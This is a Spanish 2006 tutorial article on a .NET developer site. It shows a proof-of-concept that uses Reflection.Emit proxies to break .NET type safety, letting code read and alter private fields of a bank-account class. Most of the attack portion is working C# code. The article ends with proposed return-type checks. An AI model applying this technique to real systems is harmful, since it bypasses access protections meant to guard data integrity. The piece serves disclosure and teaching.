Colabora .NET

Rompiendo la seguridad de tipos de .NET

Creación de clases dinámicas y desprotegiendo los campos 'private' de una clase definida

 

Fecha: 08/Nov/2006 (03/11/2006)
Autor: Richard Karl Me
MSN: rkarl_x86 [a] hotmail.com

Desde la ciudad de la bella durmiente: Tingo María...


Introducción

Este trabajo muestra cómo usando reflexión (reflection) se define un conversor de tipos que permite a partir de un objeto, el cual comparte una misma funcionalidad con un interface, obtener un objeto Proxy equivalente en funcionalidad al original pero que garantiza ser subtipo de dicha interface.
De este modo el objeto proxy puede ser utilizado como si estáticamente hubiese declarado que implementa el tipo interface.
La solución propuesta permite ilustrar además la existencia de un peligroso agujero de seguridad en el sistema de tipos de .NET, el cual ¿lamentablemente? no es controlado por el CLR.
Esta falla permitiría la escritura de código malicioso aún ejecutando bajo el supuesto "modo seguro" del código administrado.

Nota:
Este trabajo está basado en el artículo de dotnetManía: El poder de la reflexión en .NET

 

Desarrollando nuestro "código seguro"

A modo de ejemplo, estamos en un banco desarrollando los componentes de negocio, específicamente una cuenta segura (SafeAccount) el cual tiene un nombre de cuenta y el saldo actual que solo podemos leer su valor.

Entremos de una vez al preciado código:

public class SafeAccount
{
    // Note que estos campos son privados,
    // por lo tanto no accesibles desde afuera de la clase.
    private decimal mBalance;
    private string mName;

    public SafeAccount(decimal initialBalance)
    {
        this.mName = "Cuenta segura";
        this.mBalance = initialBalance;
    }

    // Devuelve el saldo actual
    public decimal Balance
    {
        get{ return this.mBalance; }
    }

    // Devuelve el nombre de la cuenta
    public string Name
    {
        get{ return this.mName; }
    }

    // Más métodos o propiedades ...
}

Luego construimos una clase con un método que recibe un objeto SafeAccount y lo devuelve.

public class Naive
{
    public SafeAccount ReturnMyself(SafeAccount x)
    {
        return x;
    }
}

 

Iniciando el ataque...

Antes de empezar a generar las clases dinámicas, construimos el apoyo, esto es, una clase parecida a SafeAccount pero con los campos públicos en vez de privados y una interface parecida a la clase Naive, para decir más adelante en la clase dinámica que Naive implementa a la interface.

public class UnprotectedAccount
{
    // Tiene los mismos campos que SafeAccount pero aqui son públicos
    public decimal mBalance;
    public string mName;
}

public interface IMalicious
{
    // Casi la misma firma del método ReturnMyself de la clase Naive...
    // solo que se diferencia en el tipo de retorno :D
    UnprotectedAccount ReturnMyself(SafeAccount x);
}

 

Construyendo el generador de clases dinámicas

Una de las potencialidades de .NET combinadas con la reflexión son los recursos para generar código dinámicamente en tiempo de ejecución, código que incluso puede ser ejecutado a su vez durante de la propia ejecución de quién lo creó (lo que es el caso del tipo proxy mencionado en la introducción).
Para esto último .NET tiene en su librería un namespace Reflection y dentro de este a su vez el namespace Emit. Mostraremos en esta sección cómo usando estos recursos el método CastTo puede generar el tipo proxy del que hablamos anteriormente.
Para generar un tipo dinámicamente primero habría que generar un ensamblado donde colocar al tal tipo, luego a través de este objeto asmBuilder se genera un módulo y dentro del módulo el tipo deseado.

Mejor nos callamos y mostramos lo que mejor sabemos hacer:

public class Caster
{
    public static object CastTo(object target, Type interfaceType)
    {
        // Obtenemos el dominio 
        AppDomain domain = AppDomain.CurrentDomain;
        // creamos un nuevo ensamblado
        AssemblyName strongName = new AssemblyName();
        strongName.Name = "MyAssembly.dll";
        AssemblyBuilder asmBuilder = domain.DefineDynamicAssembly(
            strongName, AssemblyBuilderAccess.RunAndSave);
        // Creamos un modulo nuevo
        ModuleBuilder modBuilder = asmBuilder.DefineDynamicModule(
            "MyModule", "MyAssembly.dll", true);

        // atributos de la nueva clase
        TypeAttributes typeAttr = TypeAttributes.Class | TypeAttributes.Public | 
            TypeAttributes.BeforeFieldInit;
        // definir el tipo (la clase) dinámica que implementará la interface
        TypeBuilder proxyTypeBuilder = modBuilder.DefineType(
            interfaceType.Name + "ProxyFor_" + target.GetType().Name, 
            typeAttr, 
            typeof(object), 
            new Type[] { interfaceType });
        // definir un campo del mismo tipo de la clase original
        FieldInfo realTarget = proxyTypeBuilder.DefineField(
            "realTarget", target.GetType(), FieldAttributes.Private);
        // definir el constructor de la nueva clase
        EmitCtor(proxyTypeBuilder, realTarget);
        // definir los métodos de la nueva clase
        EmitMethods(interfaceType, proxyTypeBuilder, realTarget);
        // crear el tipo generado
        Type proxyType = proxyTypeBuilder.CreateType();
        // descomentar estas 2 lineas si deseamos guardar el ensamblado generado
        //asmBuilder.Save("MyAssembly.dll", 
        //     PortableExecutableKinds.ILOnly, ImageFileMachine.I386);
        // Inicializar una instancia y devolverla
        return Activator.CreateInstance(proxyType, new object[] { target });
    }
}

En el fichero para descargar esta el código completo de la clase Caster.

Nota:
Para poder generar la secuencia del código IL y conseguir los atributos de clase, constructor y método (que no estaban en el articulo de dotnetMania) usé el Reflector for .NET, una buena herramienta que no debe faltar en la computadora de un desarrollador .NET

reflector for .NET

Lo que hace el método CastTo es algo así como: interprétame a éste x como de tipo IA aún cuando el tipo estático de x no hubiese sido definido como que implementa a IA. El método Cast recibe como primer parámetro el objeto original y como segundo parámetro el tipo interface como el que se desea que el primer parámetro sea interpretado, entonces creará dinámicamente un tipo proxy que emula al tipo del objeto original pero que indica implementar al tipo interface y devolverá como respuesta el tal objeto proxy.

Entonces, como el CLR de .NET no controla, a la hora de hacer la generación JIT, que al encontrar una operación Ret en el IL, el tipo del objeto que va a estar en el tope de la pila coincida con el tipo de retorno del método dentro del cual está dicha operación Ret, de modo que si en la interface y en el objeto original dos métodos difieren sólo en el tipo de retorno esto no se detecta.
Luego podemos generar con el método CastTo un tipo IMaliciousProxyFor_Naive que implementa IMalicious y que actúa como proxy de la funcionalidad común que el tipo Naive tiene con IMalicious. El tipo IMaliciousProxyFor_Naive es generado con un patrón cuyo código IL equivaldría a un código fuente C# como el que se muestra a continuación:

public class IMaliciousProxyFor_Naive
    : IMalicious
{
    private Naive realTarget;

    public IMaliciousProxyFor_Naive(Naive x)
    {
        realTarget = x;
    }

    public UnprotectedAccount ReturnMyself(SafeAccount x)
    {
        return realTarget.ReturnMyself(x);
    }
}

Si lo compilamos directamente, el compilador nos indicará un error de conversión, pero como ha sido generada en tiempo de ejecución, "no se ha dado cuenta" del error.

Esto significa un serio agujero de seguridad en el sistema de tipos de .NET, aún ejecutando bajo el supuesto modo seguro (safe) del código administrado (managed code). El ejemplo a continuación muestra como aprovechando esta debilidad se podría ¡acceder a las partes privadas de un objeto!

Sigamos entonces con nuestro ataque...

 

Hack! - golpeando a .NET

Con el conversor+generador que tenemos se podría utilizar un tipo IMalicious para recibir un objeto SafeAccount y devolver el mismo objeto pero ¡interpretado como UnprotectedAccount!
Veamos como:

public static void Main(string[] args)
{
    SafeAccount myAccount = new SafeAccount(1000.0m);
    Console.WriteLine("Mi balance es: " + myAccount.Balance);
    Console.WriteLine("Mi nombre de cuenta es: " + myAccount.Name);

    Naive innocent = new Naive();
    // creamos una clase basada en Naive pero que dice implementar a Malicious 
    IMalicious hacker = (IMalicious)Caster.CastTo(innocent, typeof(IMalicious));
    UnprotectedAccount sameAccount = hacker.ReturnMyself(myAccount);
    sameAccount.mBalance += 1500.0m; //nos agregamos 1500 a nuesta cuenta
    sameAccount.mName = "Cuenta hackeada";
    //myAccount.Balance += 500.0m; // esto no se puede por que es de solo lectura
    Console.WriteLine("Mi balance es: " + myAccount.Balance);
    Console.WriteLine("Mi nombre de cuenta es: " + myAccount.Name);

    Console.ReadLine();
}

y así sería la salida:

Seguridad de tipos hackeado, roto, violado, etc, etc

 

Protegiéndonos del peligro...

Realmente en nuestro conversor Caster este problema no tiene por qué ocurrir si antes de invocar a EmitMethods para emitir el código IL para los métodos, se verifica que el tipo que se está emitiendo pueda considerarse como que implementa el tipo interface (llamar a CheckConformance antes de continuar) verificando también que coincidan los tipos de retorno de los métodos. Obviamente este no sería el caso del tipo Naive y del tipo Malicious porque ambos métodos ReturnMySelf difieren en el tipo de retorno.
El problema también podría haberse solucionado si incorporamos antes de generar el IL de los métodos un código como se muestra:

if (realMethod.ReturnType != mi.ReturnType)
    throw new Exception(
        "Error de conversión, los métodos tiene diferente tipo de retorno: " + 
        mi.ReturnType.Name + ", " + realMethod.ReturnType.Name);

Pero en ambas soluciones esta verificación queda a voluntad del programador y no del CLR, por lo que lamentablemente se puede escribir un conversor ¡que pueda impunemente cometer la violación! Y esa no es la máxima que pretende .NET con el código administrado.

 

Conclusiones

Como se ha explicado, el CLR no verifica, ni exige que el código generado verifique, que no se cometa esta violación. Esperamos que esta "falla" sea solucionada antes que programadores malintencionados hagan un uso inadecuado de la misma.

 


Espacios de nombres usados en el código de este artículo:

System
System.Reflection
System.Reflection.Emit

 


Código de ejemplo (ZIP):

 

Fichero con el código de ejemplo: RichardKarl_RomperSeguridadTipos.zip - (2.45) KB

(MD5 checksum: 060542A5A9C6AC345D106F92FF29DAAD)

 


 

Acerca del autor

Richard Karl Me es estudiante de Ingeniería en Informática y Sistemas de la Universidad Nacional Agraría de la Selva en Tingo María - Perú. Tiene 22 años y se dedica al desarrollo de componentes de software para acceso a datos, controles en Windows Forms y servicios Web XML con ASP.net. Trabaja en TechSolutions como IT Trainer y desarrollador de software, y es administrador del MUG MSDN Tingo María. Sus lenguajes favoritos son C#, VB.net, C++ y tambien Java. Ha obtenido 3 estrellas del programa Desarrollador Cinco Estrellas 2005. Actualmente está estudiando para la certificación "Microsoft Certified Technology Specialist"


ir al índice principal del Guille